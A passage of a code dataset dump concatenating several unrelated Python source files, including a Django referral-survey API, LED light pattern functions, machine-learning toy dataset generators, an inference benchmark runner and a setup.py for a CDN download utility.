\"\"\"\n Get all FriendReferral objects.\n\n @param user_id (Integer) - Optional param to pull referrals by user.\n\n @return (FriendReferral) - Friend Referral objects.\n \"\"\"\n user_id = request.GET.get('user_id', None)\n referrals = FriendReferral.objects.all()\n if user_id is not None:\n referrals = referrals.filter(referrer__id=user_id)\n return [r.get_model() for r in referral]\n\n\n@csrf_exempt\n@api_wrapper\ndef new_lead_from_cow_survey_flow(request):\n \"\"\"\n Create a new lead from the COWSurvey flow.\n\n @param first_name (String) - First name of the referral\n @param last_name (String) - Last name of the referral\n @param email (String) - Email name of the referral\n @param referrer_id (Integer) - ID of the Referrer\n @param watched_video (Boolean) - True if the lead watched the video.\n\n @return lead_id (Integer) - ID of the new Lead Intake\n \"\"\"\n logging.info('Testing')\n referrer_id = request.POST.get('referrer_id',\n request.GET.get('referrer_id', '2'))\n\n if referrer_id is None:\n raise InvalidParameterError('POST `referrer_id` is requred.')\n\n try:\n agent = AgentReferrer.objects.get(domain=referrer_id)\n except AgentReferrer.DoesNotExist:\n raise InvalidParameterError('POST `referrer_id` is not valid.')\n\n referral_email = request.POST.get('email', None)\n referral_first_name = request.POST.get('first_name', None)\n referral_last_name = request.POST.get('last_name', None)\n watched_video = request.POST.get('watched_video', False)\n\n if referral_email is None:\n raise InvalidParameterError('POST `email` is requred.')\n\n if referral_first_name is None:\n raise InvalidParameterError('POST `first_name` is requred.')\n\n if referral_last_name is None:\n raise InvalidParameterError('POST `last_name` is requred.')\n\n # check if we already have a lead that exists from this email\n if Referral.objects.filter(email=referral_email).exists():\n # this does not check the full system but only through this funnel\n raise DuplicateEntry('Email already exists.')\n\n try:\n results = COWSurvey.create_from_lead(referrer_id=agent.agent.id,\n referral_email=referral_email,\n referral_first_name=referral_first_name,\n referral_last_name=referral_last_name,\n watched_video=watched_video)\n except Exception as e:\n logging.exception(e)\n raise InvalidParameterError('Failed to submit information. Please try again or contact support.')\n\n return results['intake'].id\n\n\n@api_wrapper\ndef save_cow_survey(request):\n \"\"\"\n Save a new COWSurvey object.\n\n This is all from POST data.\n\n @param current_age (Integer) - Current Age\n @param life_expectancy (Integer) - Life Expectancy\n @param current_income (Integer) - Current Income\n @param accumulated_for_retirement (Integer) - Accumulated Money for Retirement\n @param annual_savings (Integer) - Annual Savings\n @param growth_rate_during_accumulation (Integer) - Growth Rate During Accumulation\n @param growth_rate_during_distribution (Integer) - Growth Rate During Distribution\n @param defined_benefits (Integer) - Defined Benefits in Dollars\n @param social_security (Integer) - Current Social Security\n @param pension (Integer) - Current Pension\n @param annutities (Integer) - Current Annutities\n @param desired_retirement_income (Integer) - Desired Retirement Income\n @param desired_retirement_age (Integer) - Desired Retirement Age\n\n @param referrer_id = (Integer) - Optional ID of the user who referred.\n\n @return (COWSurvey) - Newly created object\n \"\"\"\n\n cow_id = request.POST.get('cow_id', None)\n current_age = request.POST.get('current_age', None)\n life_expectancy = request.POST.get('life_expectancy', None)\n current_income = request.POST.get('current_income', None)\n accumulated_for_retirement = request.POST.get('accumulated_for_retirement', None)\n annual_savings = request.POST.get('annual_savings', None)\n growth_rate_during_accumulation = request.POST.get('growth_rate_during_accumulation', None)\n growth_rate_during_distribution = request.POST.get('growth_rate_during_distribution', None)\n desired_retirement_income = request.POST.get('desired_retirement_income', None)\n desired_retirement_age = request.POST.get('desired_retirement_age', None)\n\n if cow_id is None:\n raise InvalidParameterError('POST paramater `cow_id` required')\n if current_age is None:\n raise InvalidParameterError('POST paramater `current_age` required')\n if life_expectancy is None:\n raise InvalidParameterError('POST paramater `life_expectancy` required')\n if current_income is None:\n raise InvalidParameterError('POST paramater `current_income` required')\n if accumulated_for_retirement is None:\n raise InvalidParameterError('POST paramater `accumulated_for_retirement` required')\n if annual_savings is None:\n raise InvalidParameterError('POST paramater `annual_savings` required')\n if growth_rate_during_accumulation is None:\n raise InvalidParameterError('POST paramater `growth_rate_during_accumulation` required')\n if growth_rate_during_distribution is None:\n raise InvalidParameterError('POST paramater `growth_rate_during_distribution` required')\n if desired_retirement_income is None:\n raise InvalidParameterError('POST paramater `desired_retirement_income` required')\n if desired_retirement_age is None:\n raise InvalidParameterError('POST paramater `desired_retirement_age` required')\n\n referral = COWSurvey.objects.get(id=cow_id)\n\n referral.current_age = return_int(current_age)\n referral.life_expectancy = return_int(life_expectancy)\n referral.current_income = return_int(current_income)\n referral.accumulated_for_retirement = return_int(accumulated_for_retirement)\n referral.annual_savings = return_int(annual_savings)\n referral.growth_rate_during_accumulation = return_int(growth_rate_during_accumulation)\n referral.growth_rate_during_distribution = return_int(growth_rate_during_distribution)\n referral.desired_retirement_income = return_int(desired_retirement_income)\n referral.desired_retirement_age = return_int(desired_retirement_age)\n\n try:\n referral.caclulate_results()\n except Exception as e:\n referral.save() # let us save the data\n logging.exception(e)\n raise InvalidParameterError('Failed to generated results for COWSurvey #{0}'.format(referral.id))\n\n referral.complete() # will save\n\n return referral.get_model()\n","sub_path":"stratinvnet/api/referrals_api.py","file_name":"referrals_api.py","file_ext":"py","file_size_in_byte":9391,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"54"} +{"seq_id":"64516250","text":"#!/usr/bin/env python\n\nimport library\nimport color_utils\nimport constants\nimport math\nimport random\nimport make_it_rain\nimport fireworks\nimport time\n\ndef cycle_value_in_cosine(branch,branch_vine,vine_pixel,t):\n hue = 0.3\n saturation = 0.7\n period = 4\n value = 255 * library.cycle_in_cosine(branch_vine,t,period)\n return color_utils.hsv_to_rgb(hue,saturation,value)\n\ndef cycle_value_out_cosine(branch,branch_vine,vine_pixel,t):\n\thue = 0.7\n\tsaturation = 0.7\n\tperiod = 4\n\tvalue = 255 * library.cycle_out_cosine(branch_vine,t,period)\n\treturn color_utils.hsv_to_rgb(hue,saturation,value)\n\n\ndef cycle_hue_around(branch,branch_vine,pixel,t):\n\tsaturation = 0.7\n\tvalue = 200\n\tperiod = 4\n\thue = library.cycle_around_continuous(branch,t,period)\n\treturn color_utils.hsv_to_rgb(hue,saturation,value)\n\ndef cycle_hue_in(branch,branch_vine,pixel,t):\n\tsaturation = 0.7\n\tvalue = 200\n\tperiod = 2\n\thue = library.cycle_in_continuous(branch_vine,t,period)\n\treturn color_utils.hsv_to_rgb(hue,saturation,value)\n\ndef cycle_value_out(branch,branch_vine,pixel,t):\n\thue = 0.3\n\tsaturation = 0.7\n\tperiod = 4\n\tvalue = 255 * library.cycle_out_continuous(branch_vine,t,period)\n\treturn color_utils.hsv_to_rgb(hue,saturation,value)\n\ndef cycle_value_in(branch,branch_vine,pixel,t):\n\thue = 0.7\n\tsaturation = 0.7\n\tperiod = 4\n\tvalue = 255 * library.cycle_in_continuous(branch_vine,t,period)\n\treturn color_utils.hsv_to_rgb(hue,saturation,value)\n\n\ndef cycle_value_around(branch,branch_vine,pixel,t):\n\thue = 0.5\n\tsaturation = 0.7\n\tperiod = 4\n\tvalue = 255 * library.cycle_clockwise_continuous(branch,t,period)\n\treturn color_utils.hsv_to_rgb(hue,saturation,value)\n\ndef cycle_value_up(branch,branch_vine,pixel,t):\n\thue = 0.3\n\tsaturation = 0.7\n\tperiod = 4\n\tvalue = 255 * library.cycle_up_continuous(pixel,t,period)\n\treturn color_utils.hsv_to_rgb(hue,saturation,value)\n\ndef cycle_value_down(branch,branch_vine,pixel,t):\n\thue = 0.7\n\tsaturation = 0.7\n\tperiod = 4\n\tvalue = 255 * library.cycle_down_continuous(pixel,t,period)\n\treturn color_utils.hsv_to_rgb(hue,saturation,value)\n\ndef cycle_value_clockwise_cosine(branch,branch_vine,branch_pixel,t):\n hue = 0.3\n saturation = 0.7\n period = 4\n value = 255 * library.cycle_clockwise_cosine(branch,t,period)\n return color_utils.hsv_to_rgb(hue,saturation,value)\n\ndef spiral_down(branch,branch_vine,vine_pixel,t):\n period = 4\n hue = library.cycle_clockwise_cosine(branch - vine_pixel,t - 0.006 * vine_pixel,period)\n # hue = 0.4\n saturation = 0.7\n # value = 255 * library.cycle_clockwise_cosine(branch,t - 0.001 * vine_pixel,period)\n value = 200\n return color_utils.hsv_to_rgb(hue,saturation,value)\n\ndef crazy_spiral_down(branch,branch_vine,vine_pixel,t):\n hue_period = 8\n hue = library.cycle_counterclockwise_cosine(branch - branch_vine - vine_pixel, t, hue_period)\n saturation_period = 2\n saturation = library.cycle_out_cosine(branch_vine, t, saturation_period)\n value_period = 4\n value = 255 * library.cycle_clockwise_cosine(branch - branch_vine - vine_pixel,t,value_period)\n return color_utils.hsv_to_rgb(hue,saturation,value)\n\ndef candy_cane_stick(branch,branch_vine,vine_pixel,t):\n r = 255\n g = 255\n b = 255\n if branch % 4 == 0 or branch % 4 == 1:\n g = 0\n b = 0\n return (r,g,b)\n\ndef barber_shop_pole(branch,branch_vine,vine_pixel,t):\n r = 255\n g = 255\n b = 255\n\n branch_period = 5\n stripe_length = 20.0\n branch_vine_slope = 2\n\n branch = int (branch - 8 * t / branch_period + 2 * vine_pixel / stripe_length - branch_vine * branch_vine_slope / 5.0) % 8\n\n if branch % 4 == 0 or branch % 4 == 1:\n g = 0\n b = 0\n return (r,g,b)\n\ndef hue_pair_spiral(branch,branch_vine,vine_pixel,t):\n # time.sleep(.0005)\n\n hue = 0.5 + 0.5 * math.cos(0.1 * t)\n saturation = 0.88\n value = 250\n\n # r,g,b = color_utils.hsv_to_rgb(hue,saturation,value)\n # r = 250\n # g = 250\n # b = 250\n\n branch_period = 5\n stripe_length = 20.0\n branch_vine_slope = 2\n\n branch = int (branch - 8 * t / branch_period + 2 * vine_pixel / stripe_length - branch_vine * branch_vine_slope / 5.0) % 8\n\n if branch % 4 == 0 or branch % 4 == 1:\n # g = 0\n # b = 0\n hue = (hue + 0.5) % 1\n\n r,g,b = color_utils.hsv_to_rgb(hue,saturation,value)\n return (r,g,b)\n\ndef explode_cool_hue_out(branch,branch_vine,vine_pixel,t):\n saturation = 0.88\n value = 255\n period = 1.0\n out_period = 3.0\n vertical_period = 1.5\n hue = 0.5 + 0.5 * math.cos(t / period - branch_vine / out_period - (vine_pixel - 17.0)**2 / (17.0**2 * vertical_period))\n #70/360 = .1944\n #240/360 = .6666\n\n new_hue = hue * (0.6666 - 0.1944) + 0.1944\n\n return color_utils.hsv_to_rgb(hue,saturation,value)\n\ndef explode_hue_out(branch,branch_vine,vine_pixel,t):\n saturation = 0.88\n value = 255\n period = 4\n out_period = 1.2\n vertical_period = 4\n hue = (t / period - branch_vine / (out_period * 5) - (vine_pixel - 17.0)**2 / (17.0**2 * vertical_period)) % 1\n #70/360 = .1944\n #240/360 = .6666\n\n new_hue = hue * (0.6666 - 0.1944) + 0.1944\n\n return color_utils.hsv_to_rgb(hue,saturation,value)\n\nclass pattern():\n def __init__(self, get_pixel_color):\n self.get_pixel_color = types.MethodType( get_pixel_color, self )\n\nclass blend_transition:\n\n def __init__(self, pattern1, pattern2):\n self.pattern1 = pattern1\n self.pattern2 = pattern2\n self.reset(time.time())\n\n def reset(self, t):\n self.start_time = t\n\n def get_pixel_color(self, branch, branch_vine, vine_pixel, t):\n factor = max((constants.time_per_transition - t + self.start_time) / constants.time_per_transition , 0 )\n a1, a2, a3 = self.pattern1(branch, branch_vine, vine_pixel, t)\n b1, b2, b3 = self.pattern2(branch, branch_vine, vine_pixel, t)\n return factor * a1 + (1-factor) * b1, factor * a2 + (1-factor) * b2, factor * a3 + (1-factor) * b3\n\nclass transition_to_rain(blend_transition):\n\n def __init__(self, pattern1, rain_instance):\n self.rain = rain_instance\n super().__init__(pattern1, rain_instance.get_pixel_color)\n self.reset(time.time())\n\n def reset(self, t):\n self.pattern2_on = False\n super().reset(t)\n\n def get_pixel_color(self, branch, branch_vine, vine_pixel, t):\n factor1 = max((constants.time_per_transition - t + self.start_time) / constants.time_per_transition , 0 )\n a1, a2, a3 = self.pattern1(branch, branch_vine, vine_pixel, t)\n b1, b2, b3 = self.pattern2(branch, branch_vine, vine_pixel, t)\n if self.pattern2_on == False and factor1 < 0.5:\n self.rain.reset()\n self.pattern2_on = True\n factor2 = int(self.pattern2_on)\n return factor1 * a1 + factor2 * b1, factor1 * a2 + factor2 * b2, factor1 * a3 + factor2 * b3\n\nclass transition_to_fireworks(blend_transition):\n\n def __init__(self, pattern1, fireworks_instance):\n self.fireworks = fireworks_instance\n super().__init__(pattern1, fireworks_instance.get_pixel_color)\n self.reset(time.time())\n\n def reset(self, t):\n self.pattern2_on = False\n super().reset(t)\n\n def get_pixel_color(self, branch, branch_vine, vine_pixel, t):\n factor1 = max((constants.time_per_transition - t + self.start_time) / constants.time_per_transition , 0 )\n a1, a2, a3 = self.pattern1(branch, branch_vine, vine_pixel, t)\n b1, b2,b3 = 0, 0, 0\n if self.pattern2_on == False and factor1 < 0.5:\n self.fireworks.reset()\n self.pattern2_on = True\n if self.pattern2_on:\n b1, b2, b3 = self.pattern2(branch, branch_vine, vine_pixel, t)\n # factor2 = int(self.pattern2_on)\n return factor1 * a1 + b1, factor1 * a2 + b2, factor1 * a3 + b3\n #\n # pat1_time = 5\n # interpolate_time = 5\n # pat2_time = 5\n # pat1 = crazy_spiral_down(branch,branch_vine,vine_pixel,t)\n # pat2 = rain_down.make_it_rain().get_pixel_color(branch,branch_vine,vine_pixel,t)\n # pat3 = hahahaha\n\nrain = make_it_rain.make_it_rain()\nrain_function = rain.get_pixel_color\ntransition1 = blend_transition(rain_function, crazy_spiral_down).get_pixel_color\nfireworks_instance = fireworks.fireworks()\nfireworks_function = fireworks_instance.get_pixel_color\n\nactive_patterns = [\n fireworks_function,\n rain_function,\n hue_pair_spiral,\n explode_cool_hue_out,\n crazy_spiral_down,\n explode_hue_out,\n hue_spiral_down,\n # cycle_value_in_cosine,\n # cycle_value_out_cosine,\n # cycle_value_clockwise_cosine,\n # cycle_value_counterclockwise_cosine,\n # cycle_value_down,\n]\n\ntransitions = []\nfor i in range(len(active_patterns)):\n transitions.append(blend_transition(active_patterns[i], active_patterns[(i+1)%len(active_patterns)]))\n\ntransitions[0] = transition_to_fireworks(active_patterns[0], fireworks_instance)\ntransitions[1] = transition_to_rain(active_patterns[1], rain)\n","sub_path":"patterns/test_patterns_temp.py","file_name":"test_patterns_temp.py","file_ext":"py","file_size_in_byte":8943,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"54"} +{"seq_id":"488145211","text":"import numpy as np\nimport matplotlib.pyplot as plt\n\nfrom numpy.random import randn\nfrom mpl_toolkits.mplot3d import Axes3D\nfrom matplotlib import cm\nfrom matplotlib.ticker import LinearLocator, FormatStrFormatter\n\n\nclass Dataset():\n \"\"\"\n represents the Gauss function: f(x; y) = exp{(x2+y2)/10} − 0:5\n \"\"\"\n def __init__(self, n, batchSize, shuffleDataset=True):\n self.n = n # number os points for each class\n self.batchSize = batchSize # size of the batch during training\n self.batchPosition = 0 # used for calculate the next batch\n self.nEpochs = 0 # actual number of epochs (used for training)\n dataset = self.generateDataset()\n # dataset = np.insert(dataset, 0, 1, axis=1) # add class 1 (class A = 1)\n self.nSamples = len(dataset[0])\n\n self.X = dataset[0]\n # self.X = np.insert(self.X, 0, 1, axis=1)\n self.Y = dataset[1]\n\n def plotFunctoin(self):\n x = np.arange(-3.0, 3.0, 0.1)\n y = np.arange(-3.0, 3.0, 0.1)\n X, Y = np.meshgrid(x, y) # grid of point\n Z = np.exp(-(X**2 + Y**2)/10) - 0.5 # evaluation of the function on the grid\n\n fig = plt.figure()\n ax = fig.gca(projection='3d')\n surf = ax.plot_surface(X, Y, Z, rstride=1, cstride=1,\n cmap=cm.RdBu, linewidth=0, antialiased=False)\n\n ax.zaxis.set_major_locator(LinearLocator(10))\n ax.zaxis.set_major_formatter(FormatStrFormatter('%.02f'))\n\n fig.colorbar(surf, shrink=0.5, aspect=5)\n\n plt.show()\n\n def generateDataset(self):\n def f(array):\n return np.exp(-(array[0]**2 + array[1]**2)/10) - 0.5\n\n x = ((np.random.rand(self.n, 2))-0.5)*6\n z = np.apply_along_axis(f, 1, x)\n\n return x, z\n\n def nextBatch(self):\n \"\"\"\n :return: the next batch of the dataset\n \"\"\"\n if self.batchPosition == self.nSamples:\n self.batchPosition = 0\n self.nEpochs += 1\n\n init = self.batchPosition\n end = min(self.nSamples, self.batchPosition + self.batchSize)\n self.batchPosition = end\n\n return self.X[init:end, :], self.Y[init:end]\n\n\n\n","sub_path":"NN/dataset_reg_func_approx.py","file_name":"dataset_reg_func_approx.py","file_ext":"py","file_size_in_byte":2255,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"54"} +{"seq_id":"310437715","text":"import os\nimport multiprocessing\nimport time\nfrom datetime import datetime\nfrom pprint import pprint\nfrom pathlib import Path\nimport argparse\nimport pandas as pd\nfrom pytablewriter import MarkdownTableWriter\n\nfrom .test_aspirin import test_aspirin\nfrom .test_cockroaches import test_cockroaches\nfrom .test_coin import test_coin\nfrom .test_double_gaussian import test_double_gaussian\nfrom .test_gaussian_log_density import test_gaussian_log_density\nfrom .test_linear_regression import test_linear_regression\nfrom .test_neal_funnel import test_neal_funnel\nfrom .test_schools import test_schools\nfrom .test_seeds import test_seeds\nfrom .harness import Config\n\ntests = [\n test_aspirin,\n test_cockroaches,\n test_coin,\n test_double_gaussian,\n test_gaussian_log_density,\n test_linear_regression,\n test_neal_funnel,\n test_schools,\n test_seeds,\n]\n\nname_map = {\n \"coin\": \"coin\",\n \"double_gaussian\": \"double normal\",\n \"gaussian_log_density\": \"gaussian target\",\n \"neal_funnel\": \"reparameterization\",\n \"linear_regression\": \"linear regression\",\n \"aspirin\": \"aspirin\",\n \"cockroaches\": \"roaches\",\n \"schools\": \"8 schools\",\n \"seeds\": \"seeds\",\n}\n\n\ndef run(exp):\n f, i, config, logdir = exp\n now = datetime.now().strftime(\"%Y_%m_%d_%H_%M_%S\")\n name = f.__name__\n Path(logdir).mkdir(parents=True, exist_ok=True)\n filename = os.path.join(logdir, f\"{name}_{i}_{now}.log\")\n try:\n results = f(config)\n with open(filename, \"w\") as file:\n pprint(results, file)\n except (KeyboardInterrupt, SystemExit):\n raise\n except:\n print(f\"ERROR test {name}\")\n raise\n\n\ndef run_all(config=Config(), logdir=\"logs\", n_runs=5):\n experiments = [(t, i, config, logdir) for t in tests for i in range(n_runs)]\n n_cpu = multiprocessing.cpu_count()\n pool = multiprocessing.Pool(n_cpu)\n pool.map(run, experiments)\n pool.close()\n pool.join()\n\n\ndef flatten_scalar(d):\n res = {}\n for k, v in d.items():\n if set(v.keys()) == {\"statistic\", \"pvalue\"}: # leaf values\n res[k] = v[\"pvalue\"]\n else:\n for kk, vv in flatten_scalar(v).items():\n res[f\"{k}[{kk}]\"] = vv\n return res\n\n\ndef clean_log(f):\n with open(f, \"r\") as log_file:\n raw = log_file.read()\n log = eval(raw)\n res = {}\n res[\"stan\"] = {\n \"compilation\": log[\"timers\"][\"Stan_Compilation\"],\n \"runtime\": log[\"timers\"][\"Stan_Runtime\"],\n }\n if \"numpyro\" in log[\"divergences\"]:\n res[\"numpyro\"] = flatten_scalar(log[\"divergences\"][\"numpyro\"][\"ks\"])\n if \"Numpyro_Compilation\" in log[\"timers\"]:\n res[\"numpyro\"][\"compilation\"] = log[\"timers\"][\"Numpyro_Compilation\"]\n res[\"numpyro\"][\"runtime\"] = log[\"timers\"][\"Numpyro_Runtime\"]\n if \"pyro\" in log[\"divergences\"]:\n res[\"pyro\"] = flatten_scalar(log[\"divergences\"][\"pyro\"][\"ks\"])\n if \"Pyro_Compilation\" in log[\"timers\"]:\n res[\"pyro\"][\"compilation\"] = log[\"timers\"][\"Pyro_Compilation\"]\n res[\"pyro\"][\"runtime\"] = log[\"timers\"][\"Pyro_Runtime\"]\n if (\n \"numpyro_naive\" in log[\"divergences\"]\n and log[\"divergences\"][\"numpyro_naive\"]\n ):\n res[\"numpyro_naive\"] = flatten_scalar(\n log[\"divergences\"][\"numpyro_naive\"][\"ks\"]\n )\n res[\"numpyro_naive\"][\"runtime\"] = log[\"timers\"][\"Numpyro_naive_Runtime\"]\n if \"pyro_naive\" in log[\"divergences\"] and log[\"divergences\"][\"pyro_naive\"]:\n res[\"pyro_naive\"] = flatten_scalar(log[\"divergences\"][\"pyro_naive\"][\"ks\"])\n res[\"pyro_naive\"][\"runtime\"] = log[\"timers\"][\"Pyro_naive_Runtime\"]\n return res\n\n\ndef to_frame(dirname):\n summary = {}\n for x in name_map:\n summary[x] = {}\n logs = [\n clean_log(os.path.join(dirname, f))\n for f in os.listdir(dirname)\n if f.startswith(f\"test_{x}\")\n ]\n data = {}\n for k in logs[0].keys():\n data[k] = pd.DataFrame([pd.Series(d[k]) for d in logs])\n summary[x] = pd.Series(data)\n return pd.Series(summary)\n\n\ndef backend_results(df):\n df = df.mean()\n params = df.drop(labels=[\"runtime\", \"compilation\"], errors=\"ignore\")\n res = df.reindex([\"compilation\", \"runtime\"])\n res[\"pvalue\"] = params.min()\n res[\"param\"] = params.idxmin()\n return res\n\n\ndef example_results(df):\n s = df.stan.mean()\n df = df.dropna().drop(\"stan\")\n df = df.apply(backend_results).T\n df[\"stan\"] = s\n return df\n\n\ndef summarize(dirname):\n data = to_frame(dirname)\n return data.apply(example_results)\n\n\ndef to_md(s):\n writer = MarkdownTableWriter()\n writer.headers = (\n [\"\"]\n + [\"Stan\", \"\"]\n + [\"DS(pyro)\", \"\", \"\", \"\"]\n + [\"DS(numpyro)\", \"\", \"\", \"\"]\n + [\"Pyro\", \"\", \"\"]\n + [\"Numpyro\", \"\", \"\"]\n )\n writer.value_matrix = [\n [\"\"]\n + [\"comp\", \"run\",]\n + [\"comp\", \"run\", \"p-value\", \"param\",] * 2\n + [\"run\", \"p-value\", \"param\",] * 2\n ]\n writer.value_matrix += [\n [name_map[x]]\n + [f\"{s[x].stan.compilation:,.0f}\", f\"{s[x].stan.runtime:,.2f}\",]\n + [\n c\n for b in [\"pyro\", \"numpyro\"]\n for c in [\n f\"{s[x][b].compilation:,.2f}\",\n f\"{s[x][b].runtime:,.0f}\",\n f\"{s[x][b].pvalue:,.2f}\",\n s[x][b].param,\n ]\n ]\n + [\n c\n for b in [\"pyro_naive\", \"numpyro_naive\"]\n for c in (\n [f\"{s[x][b].runtime:,.0f}\", f\"{s[x][b].pvalue:,.2f}\", s[x][b].param,]\n if b in s[x]\n else [\"\", \"\", \"\"]\n )\n ]\n for x in s.index\n ]\n writer.write_table()\n\n\nif __name__ == \"__main__\":\n parser = argparse.ArgumentParser(\n description=\"Compare the output of NUTS for DeepStan (with Pyro and Numpyro) and Stan on the following experiments: coin, double normal, reparameterization, linear regression, aspirin, roaches, 8 schools, seeds\"\n )\n\n parser.add_argument(\n \"--logdir\",\n action=\"store\",\n dest=\"logdir\",\n default=\"logs\",\n help=\"Directory name to store the results\",\n )\n\n parser.add_argument(\n \"--iterations\",\n action=\"store\",\n dest=\"iterations\",\n type=int,\n default=10000,\n help=\"Total number of iterations\",\n )\n\n parser.add_argument(\n \"--warmups\",\n action=\"store\",\n dest=\"warmups\",\n type=int,\n default=1000,\n help=\"Number of warmup steps (included in iterations)\",\n )\n\n parser.add_argument(\n \"--thin\",\n action=\"store\",\n dest=\"thin\",\n type=int,\n default=10,\n help=\"Thining factor\",\n )\n\n parser.add_argument(\n \"--runs\",\n action=\"store\",\n dest=\"n_runs\",\n type=int,\n default=10,\n help=\"Number of run for each experiment\",\n )\n\n parser.add_argument(\n \"--no-run\",\n action=\"store_true\",\n dest=\"no_run\",\n default=False,\n help=\"Analyse logdir without re-running the experiments\",\n )\n\n args = parser.parse_args()\n config = Config(iterations=args.iterations, warmups=args.warmups, thin=args.thin)\n\n if not args.no_run:\n start = time.perf_counter()\n run_all(config, args.logdir, n_runs=args.n_runs)\n print(f\"Total experiment time {time.perf_counter() - start}\")\n print(f\"Config: {config}\")\n\n res = summarize(args.logdir)\n to_md(res)\n","sub_path":"test/integration/dppl/inference/experiments.py","file_name":"experiments.py","file_ext":"py","file_size_in_byte":7620,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"54"} +{"seq_id":"309497430","text":"import os\nimport random\nimport numpy as np\n\n\nclass Sinusoid(object):\n\n def __init__(self, amp_range, phase_range, period_range=[2*np.pi, 2*np.pi], input_range=[-5, 5], dataset_name=\"sinusoid\"):\n self.dataset_name = dataset_name\n self.amp_range = amp_range\n self.phase_range = phase_range\n self.period_range = period_range\n self.input_range = input_range\n\n def sample(self, num):\n sines = []\n for i in range(num):\n amp = np.random.uniform(self.amp_range[0], self.amp_range[1])\n phase = np.random.uniform(self.phase_range[0], self.phase_range[1])\n period = np.random.uniform(self.period_range[0], self.period_range[1])\n sines.append(SineWave(amp, phase, period, self.input_range))\n return sines\n\n\nclass SineWave(object):\n \"\"\"\n A single sine wave class.\n \"\"\"\n def __init__(self, amp, phase, period, input_range):\n self.amp = amp\n self.phase = phase\n self.period = period\n self.input_range = input_range\n # self.tags = {\"amp\":amp, \"phase\":phase, \"input_range\":input_range}\n\n def query(self, X):\n y = self.amp * np.sin( 2*np.pi*(X - self.phase) / self.period )\n return y\n\n # def sample(self, num_samples):\n # inputs = np.random.uniform(self.input_range[0], self.input_range[1], [num_samples,1])\n # outputs = self.amp * np.sin( 2*np.pi*(inputs - self.phase) / self.period )\n # samples = np.concatenate([inputs, outputs], axis=-1)\n # np.random.shuffle(samples)\n # return samples\n\n def sample(self, num_shots, test_shots, xs=None):\n num_samples = num_shots + test_shots\n if xs is None:\n xs = np.random.uniform(self.input_range[0], self.input_range[1], [num_samples,1])\n ys = self.amp * np.sin( 2*np.pi*(xs[:, 0] - self.phase) / self.period )\n if xs is None:\n p = np.random.permutation(num_samples)\n xs = xs[p]\n ys = ys[p]\n return xs[:num_shots], ys[:num_shots], xs[num_shots:], ys[num_shots:]\n\n def get_all_samples(self):\n return self.sample(200, 0)[:2]\n","sub_path":"data/sinusoid.py","file_name":"sinusoid.py","file_ext":"py","file_size_in_byte":2146,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"54"} +{"seq_id":"174977445","text":"# -*- coding: utf-8 -*-\n\nimport sys\nfrom distutils.core import setup\n\nPY2 = sys.version_info[0] == 2\nPY3 = sys.version_info[0] == 3\n\ndef _pypi_download_url(name, version):\n base = 'https://pypi.python.org/packages/source/%s/%s/%s-%s.tar.gz'\n return base % (name[0], name, name, version)\n\ndef _kwargs():\n name = 'cdnget'\n version = '$Release: 1.0.0 $'.split(' ')[1]\n author = 'kwatch'\n author_email = 'kwatch@gmail.com'\n description = 'Utility to download files from CDNJS, jsDelivr or Google'\n url = 'https://github.com/kwatch/cdnget/tree/python'\n download_url = _pypi_download_url(name, version)\n license = 'MIT'\n platforms = 'any'\n py_modules = ['cdnget']\n #package_dir = {'': PY2 and 'lib2' or 'lib3'}\n #packages = ['cdnget']\n scripts = ['bin/cdnget']\n #install_requires = ['oktest']\n extras_require = {\n 'dev' : ['oktest', 'kook'],\n 'test': ['oktest'],\n }\n #\n long_description = r\"\"\"\nUtility to download files from public CDN:\n\n* CDNJS (https://cdnjs.com)\n* jsDelivr (https://www.jsdelivr.com)\n* Google (https://ajax.googleapis.com)\n\nExample::\n\n $ cdnget # list public CDN\n $ cdnget cdnjs # list libraries\n $ cdnget cdnjs jquery # list versions\n $ cdnget cdnjs jquery 2.2.4 # list files\n $ cdnget cdnjs jquery 2.2.4 /tmp # download files\n\"\"\"[1:]\n #\n classifiers = [\n #'Development Status :: 3 - Alpha',\n #'Development Status :: 4 - Beta',\n 'Development Status :: 5 - Production/Stable',\n 'Environment :: Console',\n 'Intended Audience :: Developers',\n 'License :: OSI Approved :: MIT License',\n 'Operating System :: OS Independent',\n 'Programming Language :: Python',\n 'Programming Language :: Python :: 2.6',\n 'Programming Language :: Python :: 2.7',\n 'Programming Language :: Python :: 3',\n 'Programming Language :: Python :: 3.3',\n 'Programming Language :: Python :: 3.4',\n 'Programming Language :: Python :: 3.5',\n 'Programming Language :: Python :: 3.6',\n 'Topic :: Software Development :: Libraries :: Python Modules',\n 'Topic :: Internet :: WWW/HTTP :: Dynamic Content :: CGI Tools/Libraries',\n ]\n #\n return locals()\n\nsetup(**_kwargs())\n","sub_path":"pypi_install_script/cdnget-1.0.0.tar/setup.py","file_name":"setup.py","file_ext":"py","file_size_in_byte":2404,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"54"} +{"seq_id":"644402204","text":"# common_scripts.py (flowsa)\n# !/usr/bin/env python3\n# coding=utf-8\n\n\"\"\"Common variables and functions used within the 'scripts' folder\"\"\"\n\n\nimport pandas as pd\nimport flowsa\n\n\ndef unique_activity_names(datasource, year):\n \"\"\"\n read in the ers parquet files, select the unique activity names, return df with one column\n :param datasource: str, FBA datasource\n :param year: str, year of data to lead\n :return: df, with single Activity column of unique activity names\n \"\"\"\n\n # create single df representing all selected years\n df = flowsa.getFlowByActivity(datasource, year)\n\n column_activities = df[[\"ActivityConsumedBy\", \"ActivityProducedBy\"]].values.ravel()\n unique_activities = pd.unique(column_activities)\n df_unique = unique_activities.reshape((-1, 1))\n df_unique = pd.DataFrame({'Activity': df_unique[:, 0]})\n df_unique = df_unique.loc[df_unique['Activity'].notnull()]\n df_unique = df_unique.loc[df_unique['Activity'] != 'None']\n df_unique = df_unique.assign(ActivitySourceName=datasource)\n\n # sort df\n df_unique = df_unique.sort_values(['Activity']).reset_index(drop=True)\n\n return df_unique\n\n\ndef order_crosswalk(df):\n \"\"\"\n Set column order and sort crosswalks\n :param df: crosswalk\n :return: df, ordered croosswalk\n \"\"\"\n # set column order\n df = df[['ActivitySourceName', 'Activity', 'SectorSourceName', 'Sector', 'SectorType']]\n # sort df\n df = df.sort_values(['Sector', 'Activity']).reset_index(drop=True)\n\n return 